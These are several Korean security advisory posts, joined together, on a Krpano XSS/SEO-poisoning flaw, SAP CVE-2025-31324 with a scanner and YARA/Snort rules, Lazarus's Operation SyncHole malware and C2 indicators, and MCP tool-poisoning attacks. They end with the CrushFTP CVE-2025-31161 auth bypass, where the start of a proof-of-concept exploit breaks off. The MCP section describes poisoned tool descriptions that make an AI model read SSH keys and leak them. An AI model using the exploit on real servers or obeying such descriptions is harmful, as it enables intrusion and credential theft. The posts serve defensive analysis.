- [사진 2]에서 확인된 <krpano> 태그는 360도 이미지와 비디오를 호스팅하는 데 사용되는 Krpano 프레임워크

> Krpano 프레임워크는 XML과 JavaScript를 통한 사용자 정의가 가능해 XSS 취약점이 존재

> 해당 공격 방식은 이미 CVE-2020-24901가 명명되었고, 보안 업데이트가 발표되어 있었음 [3]

> passQueryParameter 설정 문제로 인한 reflected XSS 취약점

⒜ 해당 값은 매개변수가 Krpano 구성으로 직접 전달되는지 여부를 제어

⒝ 설치 시 true로 설정되어있어 공격자가 매개변수를 악용해 XSS 공격이 가능

⒞ passQueryParameter를 허용 목록에 명시된 매개변수만 실행 가능하도록 패치 적용

[사진 3] passQueryParameter

- 공격자는 이를 악용해 SEO 포이즈닝을 위한 XSS 공격을 진행 (XSSEO)

> CVE-2020-24901 취약점이 존재하는 웹 사이트에 서브도메인 탈취 공격을 결합해 악성 광고를 표출되도록 함

> 기존 XSS 공격과 달리 단순히 광고를 목적으로 함 (비윤리적일 수는 있으나, 범죄에 해당하지 않음)

> 정부 포털, 대학, 언론 매체, 기업 등이 불법적인 홍보물을 유포하는 SEO 도구로 악용되고 있었음

[사진 4] XSSEO

- 대응방안

> 운영중인 웹 사이트에서 Krpano의 모든 인스턴스 식별

⒜ 최신 버전 업데이트 (1.22.4)

⒝ passQueryParameter 구성을 false로 설정

> Google Search Console을 활용해 감염된 페이지를 찾아 제거 [4]

3. 참고

[1] https://olegzay.com/360xss/
[2] https://krpano.com/home/
[3] https://nvd.nist.gov/vuln/detail/CVE-2020-24901
[4] https://search.google.com/search-console/about

1. SAP NetWeaver Visual Composer

- SAP NetWeaver : SAP의 애플리케이션 통합 및 실행 플랫폼으로, 다양한 SAP 모듈과 시스템 간 연결을 지원 [1]
- SAP NetWeaver Visual Composer : NetWeaver 상에서 동작하는 시각적 UI 개발 도구로, 코드 없이 SAP 비즈니스 앱의 화면을 설계할 수 있음 [2]

2. CVE-2025-31324

[사진 1] CVE-2025-31324 [3]

- Metadata Uploader 컴포넌트에서 접근 제어가 제대로 이루어지지 않아 임의의 파일 업로드가 가능한 취약점 (CVSS: 10.0)

> /developmentserver/metadatauploader 엔드포인트에서 접근 제어가 제대로 이루어지지 않아, 공격자가 인증 없이 JSP 웹셸 파일을 서버에 업로드 가능

> SAP Visual Composer는 기본 설치 항목은 아니지만, 다수의 시스템에서 활성화되어 있음

> 공격자가 JSP 웹쉘을 서버의 퍼블릭 디렉터리에 업로드해 인증 없이 원격 제어하는 등 활발히 악용 중이므로, 긴급 패치 권고

 -영향받는 버전
SAP NetWeaver VCFRAMEWORK 7.50

[사진 2] 실제 공격에 악용된 HTTP POST 요청 [4]

2.1 취약점 스캐너

- 보안 기업 Onapsis는 취약점을 확인할 수 있는 스캐너를 제공 [5]

> GitHub에서 스캐너의 최신 버전을 확인한 후 지정한 SAP 서버의 취약점 여부 확인

① 대상 SAP 서버의 /developmentserver/metadatauploader URL로 HEAD 요청 전송

 ⒜ 200 응답Set-Cookie 헤더가 없는 경우 취약

 ⒝ 404 응답 또는 다른 응답의 경우 취약하지 않음

사전 정의된 웹쉘 목록(KNOWN_WEBSHELLS)경로(/irj)를 대상으로 업로드된 웹쉘 확인

 ⒜ 200 응답일 경우 웹쉘 존재

※ 사전 정의된 웹쉘 목록과 특정 경로만을 대상으로 스캔을 수행하므로 정의되지 않은 웹쉘명과 경로에대한 검증은 불가

import requests
import argparse
import json
from packaging.version import parse as parse_version

__version__ = "1.0.2"
KNOWN_WEBSHELLS = ["cache.jsp", "helper.jsp"]
GITHUB_REPO = (
    "Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools"
)


def check_cve_2025_31324(hostname, port, use_ssl):
    protocol = "https" if use_ssl else "http"
    url = f"{protocol}://{hostname}:{port}/developmentserver/metadatauploader"

    try:
        response = requests.head(url, timeout=10, verify=False)
        status_code = response.status_code
        if status_code == 200 and 'Set-Cookie' not in response.headers:
            print(
                f"[CRITICAL] SAP System at {url} appears to be vulnerable to "
                "CVE-2025-31324."
            )
        elif status_code == 404:
            print(
                f"[INFO] Visual Composer SAP System at {url} appears to not "
                "be installed or unavailable."
            )
        else:
            print(
                f"[INFO] The SAP system at {url} does not appear to be "
                "vulnerable to CVE-2025-31324."
            )
    except requests.exceptions.RequestException as e:
        print(f"Error connecting to {url} for vulnerability testing: {e}")


def test_webshell(hostname, port, use_ssl):
    webshell_found = False
    for webshell_filename in KNOWN_WEBSHELLS:
        protocol = "https" if use_ssl else "http"
        url = f"{protocol}://{hostname}:{port}/irj/{webshell_filename}"
        try:
            response = requests.get(url, timeout=10, verify=False)
            if response.status_code == 200:
                print(f"[CRITICAL] Known webshell found at: {url}")
                webshell_found = True

        except requests.exceptions.RequestException as e:
            print(
                f"[ERROR] Error connecting to {url} for webshell testing: {e}"
            )
    if not webshell_found:
        print("[INFO] No known webshells found.")


def check_for_updates():
    try:
        url = f"https://api.github.com/repos/{GITHUB_REPO}/releases/latest"
        response = requests.get(url)
        response.raise_for_status()
        release_info = response.json()
        latest_version = release_info.get("tag_name")
        if latest_version:
            latest_version = latest_version.lstrip("v")
            current_version = parse_version(__version__)
            latest_parsed_version = parse_version(latest_version)
            if latest_parsed_version > current_version:
                print(f"[WARNING] There is a newer version, {latest_version}.")
                print(f"You are currently using version {__version__}.")

        else:
            print("Could not retrieve the latest release information.")
    except requests.exceptions.RequestException as e:
        print(f"Error checking for updates: {e}")
    except json.JSONDecodeError:
        print("Error decoding release information.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=(
            "Onapsis Scanner for Vulnerability CVE-2025-31324 (SAP Security "
            "3594142) - CVSS 10 (Critical). This tool checks for the presence "
            "of the vulnerability and known webshells in the SAP system. \n\n"
            "DISCLAIMER: This tool is provided from Onapsis via open source "
            "license Apache 2.0, as a contribution to the security, incident "
            "response, and SAP communities to aid in response to active "
            "exploitation of CVE-2025-31324. This tool is under development "
            "and will continue to iterate rapidly as more information becomes "
            "available either from Onapsis Research Labs or publicly. "
            "This is a best-effort development and offered as-is with no "
            "warranty or liability."
        )
    )
    parser.add_argument(
        "hostname",
        help=(
            "Hostname or IP address of the SAP system."
        )
    )
    parser.add_argument(
        "port",
        type=int,
        help="Port number of the SAP system (i.e. 50000)."
    )
    parser.add_argument(
        "--ssl",
        action="store_true",
        help="Use SSL/TLS for the connection."
    )

    args = parser.parse_args()
    check_for_updates()
    check_cve_2025_31324(args.hostname, args.port, args.ssl)
    test_webshell(args.hostname, args.port, args.ssl)

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8]

제품명 영향받는 버전 해결 버전
SAP NetWeaver VCFRAMEWORK 7.50 별도 보안 패치 제공 [6][7][8]

 

- 침해 여부 확인 방법 [9]

> 다음 OS 디렉토리의 루트에 'jsp', 'java', 'class' 파일 존재 여부 확인

① C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root
② C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work
③ C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync

[예시]
[root@sapserver irj]# pwd
/usr/sap/<SID>/<INSTANCE>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj
[root@sapserver irj]# find . -type f -name “*.jsp” -ls
[root@sapserver irj]# find . -type f -name “*.java” -ls
[root@sapserver irj]# find . -type f -name “*.class” -ls

 

> SAP 악용에 사용된 웹쉘 및 악용 IP IOC 제공 [9]

① 몇 가지 예외를 제외하고 대부분 파일명은 "무작위 8자리.JSP" 형태

구분 SHA256
Helper.jsp 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087
Cache.jsp 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf
Random 8-character names ([a-z]{8}).jsp  b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee

 

 다음 디렉토리 내에 .jsp, .class, .java 확장자 파일은 악성으로 간주

⒜ /usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root
⒝ /usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/work
⒞ /usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/work/sync

 

- 탐지 규칙

[YARA]
rule detect_CVE202531324_webshells_by_name

{
    meta:
        description = “Detects the known webshell file names that are uploaded in the root directory”
        author = “Emanuela Ionas, Onapsis Research Labs”
        date = “2025-04-30”
        tags = “CVE-2025-31324”
    strings:
        $path_1 = “/irj/root/”
        $path_2 = “/irj/”

        $webshell_1 = “cache.jsp” nocase
        $webshell_2 = “helper.jsp” nocase
        $webshell_4 = “[a-zA-Z0-9]{8}\.jsp”

        $status = “HTTP/[1,2]\.[0,1,2] 200”
    condition:
        ($webshell_1 or $webshell_2 or $webshell_4) and ($path_1 or $path_2) and $status
}

[SNORT]

alert tcp any any -> any any (msg:"CVE-2025-31324";flow:to_server,established;content:"POST";content:"/developmentserver/metadatauploader";content:"multipart/form-data";content:"filename="; content:".jsp";nocase;)

4. 참고

[1] https://help.sap.com/docs/SAP_NETWEAVER_702/ff55ab4f6c5510149ce7df0d5dc0da07/4a24dbfa64550455e10000000a421937.html
[2] https://help.sap.com/docs/SAP_NETWEAVER_702/ff55ab4f6c5510149ce7df0d5dc0da07/48db676f63f45c97e10000000a42189d.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-31324
[4] https://www.picussecurity.com/resource/blog/cve-2025-31324-sap-netweaver-remote-code-execution
[5] https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools
[6] https://support.sap.com/en/my-support/knowledge-base/security-notes-news/april-2025.html
[7] https://accounts.sap.com/saml2/idp/sso
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71729&menuNo=205020
[9] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
[10] https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324
[11] https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise
[12] https://www.dailysecu.com/news/articleView.html?idxno=165680

1. 개요

- 북한 해킹그룹 라자루스가 Innorix Agent 제로데이 취약점을 악용해 국내 공급망 공격 (Operation SyncHole) 시도 [1][2]

- 워터링 홀서드파티 소프트웨어의 취약점을 결합해 국내 소프트웨어, IT, 금융, 반도체 제조, 통신 산업 등에 공격 시도

- 공격에 악용된 취약점들은 한국인터넷진흥원(KrCERT)과 개발사에 알려져 패치된 상태

2. 주요내용

2.1 초기 벡터

- 한국의 주요 언론 포털 웹사이트를 침해해 서버 측 스크립트 삽입 및 악성 도메인으로 리다이렉션

> 워터링 홀(Watering Hole) 공격으로 사용자를 악성 도메인으로 리다이렉션

 

- Cross EX 배포사를 위장한 피싱 사이트에는 악성 자바스크립트가 삽입돼 있었으며, 이를 통해 Cross EX의 취약점을 악용 및 악성코드 설치

> 삽입된 스크립트는 정상적인 SyncHost.exe를 실행하고 해당 프로세스에 ThreatNeedle 변종을 로드하는 셸코드 삽입

[사진 1] 피싱 사이트(좌) 및 Cross EX 악용 과정 요약(우)

- 워터링 홀(Watering Hole) 공격
> 공격 대상이 자주 방문하는 홈페이지를 사전에 침해한 후 공격 대상이 접속하면 공격을 시작

- Cross EX
> 금융이나 정부 웹사이트에서는 특정 보안 소프트웨어 설치가 필요
> 보안 소프트웨어는 브라우저와 상호 작용하기 위해 끊임없이 백그라운드에서 실행됨
> Cross EX는 다양한 브라우저 환경에서 이러한 보안 소프트웨어를 사용할 수 있도록 설계되었으며, 설치 직후를 제외하고는 사용자 권한으로 실행
> Cross EX가 악성코드 유포를 위해 악용된 정확한 방법은 파악되지 않았으나, 권한 상승을 달성한 것으로 추정

- ThreatNeedle [3]
> 라자루스가 2019년부터 암호화폐, 국방, 모바일 게임 기업을 공격하는 데 사용한 백도어

 

2.2 실행 흐름

- 총 4개의 서로 다른 악성코드 실행 체인 확인

[사진 2] 실행 흐름

단계 설명
1단계 악성코드 ① ThreatNeedle 변형
- 로더 버전코어 버전으로 구성
⒜ 로더 버전 : 2개의 구성 파일만 참조하고 4개의 명령어만 구현
⒝ 코어 버전 : 총 5개의 구성 파일(C_27098.NLS ~ C_27102.NLS)을 검색하며 총 37개의 명령어 포함
> 코어 버전은 C2로부터 특정 명령을 받아 지속성을 위해 추가 로더 파일을 생성

- Curve25519 알고리즘을 기반으로 임의의 키 쌍 생성
> 공개 키를 C2 서버로 전송한 후 공격자의 공개 키 수신
> 두 개의 키를 활용해 공유 키 생성 및 ChaCha20 알고리즘의 키로 사용해 암호화
> 데이터는 JSON 형식으로 송수신

② LPEClient
- 피해자 프로파일링(정보) 및 페이로드 전달에 사용되는 도구 [4]

③ wAgent 변형
- 접속에 성공한 C2 서버에 따라 form-data 또는 JSON 형식으로 데이터를 수신할 수 있음
> C2 통신 시, HTTP 요청 메세지의 Cookie 헤더에 '__Host-next-auth-token'를 포함
※ RSA 암호 연산을 수행하기 위해 GNU Multiple-Precision (GMP) 라이브러리를 사용
※ C++의 STL map을 사용하여 페이로드 관리
※ C2에서 추가 페이로드를 수신하여 메모리에 직접 로드하고 공유 객체 생성
※ 공유 객체를 통해 메인 모듈은 제공된 플러그인과 명령 매개변수 및 실행 결과 교환

④ Agamemnon Downloader 변형
- C2로부터 명령을 수신하고 ';;'를 구분자로하여 명령과 매개변수 분석 및 페이로드 실행
> 두 가지 명령 실행 방법
⒜ 멀웨어에서 일반적으로 사용되는 반사적 페이로드 로드
⒝ 오픈 소스 Tartarus-TpAllocInject 기술을 활용
※ 백신 및 EDR 솔루션 등을 우회하도록 설계되었지만, 페이로드 로드 방식은 각각 다름

⑤ Innorix Agent 악용
측면 이동(lateral movement)에 사용
> 악성코드는 Agamemnon Downloader를 통해 다운로드되어 Innorix Agent의 특정 버전을 악용해 추가 악성코드 설치
> Agamemnon Downloader부터 대상 IP, 파일 다운로드 URL, 파일 크기 등의 매개변수를 수신
⒜ 대상 IP에 Innorix Agent 설치 여부 확인
⒝ 실행 중일 경우 URL에서 합법적인 AppVShNotify.exe 파일과 악성 USERENV.dll 파일 다운
⒞ DLL 사이드로딩을 통해 USERENV.dll 실행하여 감염
※ Innorix Agent : 파일 송수신 프로그램
2단계 악성코드 ① SIGNBT
- 0.0.1버전과 1.2버전 활용
> 0.0.1버전
⒜ SyncHost.exe에서 메모리에 실행되어 추가 멀웨어(자격 증명 덤프 도구)를 가져온 초기 임플란트
⒝ C2 서버가 하드코딩되어 있음
> 1.2버전
⒜ 리소스에서 구성 파일 경로를 가져오고 해당 파일을 검색해 C2 서버 주소 획득
⒝ 두 개의 구성 파일 경로 확인
  경로 1 : C:\ProgramData\Samsung\SamsungSettings\settings.dat
  경로 2 : C:\ProgramData\Microsoft\DRM\Server\drm.ver
⒞ C2 서버로부터 RSA 공개 키를 수신하고, 해당 키로 무작위로 생성된 AES 키를 암호화
⒟ 모든 트래픽은 AES 키로 암호화

② COPPERHEDGE
- 내부 정찰(Internal Reconnaissance)에 사용
> 각 요청마다 3개 또는 4개의 매개변수를 C2서버로 HTTP 트래픽으로 전송
⒜ 첫 번째 HTTP 매개변수 이름: bih, aqs, org
⒝ 두 번째 HTTP 매개변수 이름: wib, rlz, uid
⒞ 세 번째 HTTP 매개변수 이름: tib, hash, lang
⒟ 네 번째 HTTP 매개변수 이름: ei, ie, oq

 

2.3 결론

- 최근 라자루스가 사용하는 악성코드는 경량화 및 모듈화를 포함해 빠르게 발전

> 새로 추가된 도구뿐만 아니라 과거에 사용되었던 악성코드 또한 변경되었으며, 앞으로 더 많은 변화가 예상됨

 

- 북한의 국내 대상 공급망 공격은 지속될 것

> 국내 많은 소프트웨어 개발 업체들이 이미 공격을 받았고, 공격자들 또한 악성코드를 개발하거나 개량하여 탐지를 회피하는데 노력 중

> 특히 C2 통신, 명령 수조, 데이터 송수신 방식 개선

 

- 이번 공격은 사전 탐지조기 분석의 중요성을 잘 보여준 사례

> 악성코드 행위 분석 과정에서 알려지지 않은 제로데이 취약점이 사전 탐지되어 추가 피해를 예방할 수 있었음

 

- 공격에 악용된 Innorix Agent 및 Cross EX의 취약점은 패치된 상태 [5][6]

 

- 관련 침해지표

구분 설명
파일 - Variant of the ThreatNeedle loader
> MD5 : f1bcb4c5aa35220757d09fc5feea193b
> 경로 : C:\System32\PCAuditex.dll

- Variant of the wAgent loader
> MD5 : dc0e17879d66ea9409cdf679bfea388c
> 경로 : C:\ProgramData\intel\util.dat

- COPPERHEDGE dropper
> MD5 : 2d47ef0089010d9b699cd1bbbc66f10a
> 경로 : %AppData%\hnc\_net.tmp
C2 - www[.]smartmanagerex[.]com
- hxxps://thek-portal[.]com/eng/career/index.asp
- hxxps://builsf[.]com/inc/left.php
- hxxps://www[.]rsdf[.]kr/wp-content/uploads/2024/01/index.php
- hxxp://www[.]shcpump[.]com/admin/form/skin/formBasic/style.php
- hxxps://htns[.]com/eng/skin/member/basic/skin.php
- hxxps://kadsm[.]org/skin/board/basic/write_comment_skin.php
- hxxp://bluekostec[.]com/eng/community/write.asp
- hxxp://dream.bluit.gethompy[.]com/mobile/skin/board/gallery/index.skin.php

3. 참고

[1] https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326
[2] https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-new-lazarus-led-cyberattacks-targeting-south-korean-supply-chains
[3] https://attack.mitre.org/software/S0665/
[4] https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient
[5] https://boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71686
[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=3&searchCnd2=
[7] https://www.dailysecu.com/news/articleView.html?idxno=165615
[8] https://www.boannews.com/media/view.asp?idx=137003&page=1&kind=1
[9] https://www.dailysecu.com/news/articleView.html?idxno=165681

1. 개요

- 모델 컨텍스트 프로토콜(Model Context Protocol, MCP)에서 Tool Poisoning Attack을 가능하게 하는 취약점 발견 [1]

- AI 모델의 민감 데이터 유출 및 무단 행위로 이어질 수 있는 취약점

2. 주요내용

2.1 모델 컨텍스트 프로토콜(Model Context Protocol, MCP)

- AI 모델이 외부 데이터나 도구와 연결될 때 사용하는 표준화된 통신 방식 [2][3][4]

> AI 모델이 특정 작업을 수행하기 위해 필요한 데이터를 외부에서 받아오거나, 외부 도구를 활용할 수 있도록 해주는 역할

특징 설명
개방형 표준
(Open Standard)
오픈소스로 공개되어 있어 누구나 자유롭게 사용하고 개선할 수 있음
> 앤트로픽이 개발하였으나, 어떤 AI 시스템에서도 사용할 수 있음
양방향 연결
(Two-way Connection)
- AI 모델과 데이터 소스 간의 양방향 통신 지원
> MCP에서는 AI 모델과 데이터 소스가 지속적으로 연결된 상태에서 서로 정보를 주고받을 수 있음
※ 기존 API 호출 방식에서는 AI가 데이터를 요청하면 서버가 한 번 응답하고 끝나는 방식
범용성과 표준화
(Universality and Standardization)
- 다양한 데이터 소스와 도구를 하나의 표준 프로토콜로 연결할 수 있게 해줌
> 개발자는 각 데이터 소스마다 별도의 커넥터를 유지할 필요 없이 단일 프로토콜을 통해 연결 가능
보안 및 신뢰성
(Security and Reliability)
- AI 모델과 데이터 소스 간의 안전하고 신뢰할 수 있는 연결을 제공
> 개인 정보 보호와 데이터 무결성을 유지할 수 있음

[사진 1] MCP 구성

구성요소 설명
MCP 호스트 MCP를 통해 데이터에 액세스하려는 Claude 데스크톱, IDE 또는 AI 도구와 같은 프로그램
MCP 클라이언트 서버와 1:1 연결을 유지하는 프로토콜 클라이언트
MCP 서버 표준화된 모델 컨텍스트 프로토콜을 통해 각각 특정 기능을 노출하는 경량 프로그램
로컬 데이터 소스 MCP 서버가 안전하게 액세스할 수 있는 컴퓨터의 파일, 데이터베이스 및 서비스
원격 서비스 MCP 서버가 연결할 수 있는 외부 시스템(예: API 활용)

 

2.2 Tool Poisoning Attack

- MCP 서버에서 제공하는 도구 설명에 악성 지시사항을 삽입

> 사용자는 정상으로 위장한 악성 MCP 도구를 실행

> AI 모델은 도구 설명의 지시사항을 그대로 실행하여 악성 행위를 수행

> Ex. 민감한 파일에 액세스하여 데이터 추출 및 공격자에게 전송하도록 지시할 수 있음

[사진 2] 공격 과정 요약

2.2.1 Direct Poisoning

- 도구 설명에 악성 명령을 포함하여 사용자가 MCP를 사용할 때 해당 명령이 실행되는 방식

> [사진 3]의 add()는 다음과 같은 도구 설명을 포함하며, AI 모델은 이를 수행하여 결과를 반환

① 민감한 구성 파일을 읽음 (~/.cursor/mcp.json)
② SSH 개인 키에 액세스 (~/.ssh/id_rsa)
③ 해당 데이터를 sidenote로 표시해 숨겨진 방식으로 전송
④ 사용자에게 두 숫자를 더하는 수학적 원리를 자세히 설명

[사진 3] 악성 명령을 포함한 MCP 도구 사용 결과

2.2.2 Rug Pull

- MCP 패키지가 최초 사용될 때에는 정상이었으나, 재실행될 때에는 악의적인 기능을 하도록 변경되어 악성 행위 수행

[사진 4] Rug Pull

2.2.3 Tool Shadowing

- 여러 MCP 도구를 사용할 때 정상 도구의 동작을 조작하여 악성 행위를 수행하도록 함

[사진 5] Tool Shadowing

2.3 대응방안

구분 설명
MCP 사용자 관점 - 검증되지 않은 MCP 서버 연결 지양
- MCP 도구 추가/승인 시 설명 및 권한 확인
- AI 에이전트의 의심스러운 활동(파일 접근, 통신 등)이 없는지 확인
MCP 개발자 관점 - Server 개발자
> 도구 설명은 정직하게 작성하고 숨겨진 악성 지침을 포함 금지
> 서버 보안 강화 및 도구 설명 내 악성 코드 삽입 가능성에 대한 대비

- Cliernt 개발자
> AI가 보는 전체 도구 설명을 사용자에게 투명하게 공개 및 위험 경고
> 도구 설명의 변경 여부를 검증 및 무단 변경 차단
> 서버/도구 간 영향을 차단하는 샌드박싱권한 제어 구현 권고

※ invariantlabs는 관련한 스캔 도구 제공 [5]

3. 참고

[1] https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
[2] https://github.com/modelcontextprotocol
[3] https://modelcontextprotocol.io/introduction
[4] https://dytis.tistory.com/112
[5] https://github.com/invariantlabs-ai/mcp-scan
[6] https://blackcon.github.io/posts/MCP-tool-poison-attack/

1. CrushFTP

- 파일 전송 솔루션

2. CVE-2025-31161

[사진 1] CVE-2025-31161 [2]

- CrushFTP의 파라미터 오버로딩으로 인한 인증 우회 취약점 (CVSS: 9.8) [3][4]

영향받는 버전
- CrushFTP 11.0.0 ≤ 11.3.0 / 10.0.0 ≤ 11.8.3

 

- CrushFTP는 버전 10부터 AWS S3와 호환되는 API를 제공

> 클라이언트가 Authorization 헤더를 포함하는 요청을 통해 S3 인증을 진행

> 서버는 AccessKey 값을 추출해 사용자를 식별한 다음 Signature 값을 검증해 인증을 수행

Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

 

- 취약점은 ServerSessionHTTP.java의 loginCheckHeaderAuth() 메서드에서 발생

> 해당 메서드는 사용자가 S3 스타일의 API를 요청했을 때 헤더의 Authorization 헤더를 처리

> 아래 코드에서 lookup_user_pass

① true인 경우 내부 저장소에서 비밀번호를 찾고

② false인 경우 제공된 비밀번호를 사용해야 하는지를 표시하는 값

> 또한 해당 값은 login_user_pass()의 첫 번째 매개변수로 전달

if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
    
    // Extract the username from credential field
    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
    
    // Initialize variables
    String user_pass = null;
    String user_name = s3_username3;
    boolean lookup_user_pass = true;  // Default to true - this is crucial!
    
    // Check if username contains a tilde
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    // In version 11.3.0, there's no security check here
    
    // Attempt to authenticate the user
    if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
        // Authentication succeeds
    }
}

 

- login_user_pass()에서 전달된 lookup_user_pass는 anyPass로 사용됨

> anyPass 값은 verified_user 함수를 호출하는데 인수로 사용

※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)

// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
    // Various validations and logging happen here
    
    if (user_name.length() <= 2000) {
        int length = user_pass.length();
        ServerStatus serverStatus = ServerStatus.thisObj;
        if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
            Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
            uiPUT("last_logged_command", "USER");
            
            // Numerous other checks and validations
            
            // Eventually we call verify_user with the anyPass parameter
            boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
            
            if (verified && this.user != null) {
                // Authentication success handling
                return true;
            }
        }
    }
    
    return false;
}

 

- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출

// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
    // Various user validation and formatting logic
    
    // The anyPass value is passed to the UserTools.ut.verify_user method
    this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass, 
        uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"), 
        uiIG("user_port"), this.server_item, loginReason, anyPass);
    
    // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
    if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
        this.user_info.put("plugin_user_auth_info", "Password incorrect.");
    }
    
    // Various other checks and return logic
    return this.user != null;
}

 

- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능

// Inside UserTools.java
public Properties verify_user(
    ServerStatus server_status_frame,
    String the_user,
    String the_password,
    String serverGroup,
    SessionCrush thisSession,
    int user_number,
    String user_ip,
    int user_port,
    Properties server_item,
    Properties loginReason,
    boolean anyPass
) {
    // User lookup and validation logic
    Properties user = this.getUser(serverGroup, the_user, true);
    
    // Here's the critical vulnerability:
    // If anyPass is true, password verification is skipped entirely
    if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
        return user;  // Authentication succeeds without any password check
    }
    
    // Otherwise normal password verification occurs
    if (user.getProperty("username").equalsIgnoreCase(the_user) && 
        check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
        return user;
    }
    
    // Authentication fails
    return null;
}

 

- 공격자는 다음과 같은 요청을 통해 인증 우회 가능

① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성

② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성

③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/

[사진 2] 과정 요약
[사진 3] 공격 예시

3. PoC [5]

# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser


def exploit(target_host, port, target_user, new_user, password):
    print("[+] Preparing Payloads")
    
    # First request details
    warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
    create_user_url = f"http://{target_host}:{port}/WebInterface/function/"


    headers = {
        "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
        "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
        "Connection": "close",
    }

    payload = {
        "command": "setUserItem",
        "data_action": "replace",
        "serverGroup": "MainUsers",
        "username": new_user,
